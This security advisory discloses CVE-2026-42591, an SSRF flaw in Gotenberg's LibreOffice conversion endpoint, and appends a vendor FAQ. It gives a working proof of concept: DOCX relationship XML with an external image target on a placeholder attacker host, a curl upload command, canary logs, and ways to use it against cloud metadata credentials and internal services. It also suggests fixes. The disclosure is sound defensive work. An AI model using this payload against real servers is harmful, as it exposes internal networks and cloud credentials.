CVE-2026-42591

The SSRF hardening shipped in v8.31.0 only covers outbound URLs that Gotenberg's Go code handles, Chromium asset fetches, webhook delivery, and download-from. The LibreOffice conversion endpoint (/forms/libreoffice/convert) passes uploaded documents directly to LibreOffice without inspecting their content. LibreOffice then fetches any embedded external URLs on its own, completely bypassing the SSRF filters.

This was verified on v8.31.0 (latest at time of writing) with a crafted DOCX and got 3 outbound HTTP requests from LibreOffice to the canary server used for testing.

Details

When a file is uploaded to /forms/libreoffice/convert, the route in pkg/modules/libreoffice/routes.go reads form parameters and passes the input file directly to libreOffice.Pdf():

err = libreOffice.Pdf(ctx, ctx.Log(), inputPath, outputPaths[i], options)

There's no content inspection happening before the file reaches LibreOffice. The SSRF protection in v8.31.0 (pkg/gotenberg/outbound.go) wraps Go's http.Client with a custom dialer that resolves URLs and rejects non-public IPs, but LibreOffice is a separate process that makes its own HTTP connections via libcurl. The Go-level dial hooks can't intercept that.

OOXML formats like DOCX can embed external image references using TargetMode="External" in relationship files. LibreOffice fetches those URLs during PDF conversion.

Suggested fix: Run LibreOffice with unshare --net to drop all network access from the subprocess, no network namespace means no outbound requests regardless of file format. As defense in depth, scan uploaded OOXML files (which are ZIPs) for _rels/*.rels entries with TargetMode="External" and validate/strip those URLs before passing the file to LibreOffice.

PoC

Build a minimal DOCX with an external image reference. DOCX files are ZIP archives, so you can construct one by hand.

word/_rels/document.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId10"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://ATTACKER:9877/ssrf"
    TargetMode="External"/>
</Relationships>

word/document.xml (references the external image via r:link):

<w:drawing>
  <wp:inline distT="0" distB="0" distL="0" distR="0">
    <wp:extent cx="914400" cy="914400"/>
    <wp:docPr id="1" name="Picture 1"/>
    <a:graphic>
      <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
        <pic:pic>
          <pic:nvPicPr>
            <pic:cNvPr id="1" name="ssrf.png"/>
            <pic:cNvPicPr/>
          </pic:nvPicPr>
          <pic:blipFill>
            <a:blip r:link="rId10"/>
            <a:stretch><a:fillRect/></a:stretch>
          </pic:blipFill>
          <pic:spPr>
            <a:xfrm>
              <a:off x="0" y="0"/>
              <a:ext cx="914400" cy="914400"/>
            </a:xfrm>
            <a:prstGeom prst="rect"><a:avLst/></a:prstGeom>
          </pic:spPr>
        </pic:pic>
      </a:graphicData>
    </a:graphic>
  </wp:inline>
</w:drawing>

Pack into a valid DOCX zip and send:

curl -s -o output.pdf \
  http://TARGET:3000/forms/libreoffice/convert \
  --form files=@ssrf_test.docx

Canary server immediately shows LibreOffice reaching out:

OPTIONS /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

GET /GOTENBERG_SSRF HTTP/1.1
Host: host.docker.internal:9877
User-Agent: LibreOffice 26.2.2.2 denylistedbackend/8.19.0 OpenSSL/3.5.5
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

3 requests total (OPTIONS + 2x GET) from a single conversion. Tested against gotenberg/gotenberg:8.31.0.

LibreOffice makes full GET requests, so response data can be exfiltrated through the generated PDF:

• Hit internal services, localhost, 10.x, 192.168.x, whatever the container can reach
• Grab cloud metadata at http://169.254.169.254/ (AWS/GCP/Azure IAM creds)
• Port scan the internal network via response timing
• The v8.31.0 SSRF hardening doesn't help here at all, it only covers Go HTTP calls, not LibreOffice's own connections

Anything LibreOffice opens that can carry external refs is affected: .docx, .docm, .xlsx, .xlsm, .pptx, .pptm, .odt, .ods, .odp, .rtf.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-42591 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-42591? CVE-2026-42591 is a high-severity server-side request forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.31.0. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-42591? CVE-2026-42591 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-42591? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.31.0 is affected.
4. Is there a fix for CVE-2026-42591? No fixed version is listed for CVE-2026-42591 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-42591 exploitable, and should I be worried? Whether CVE-2026-42591 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42591 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42591? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.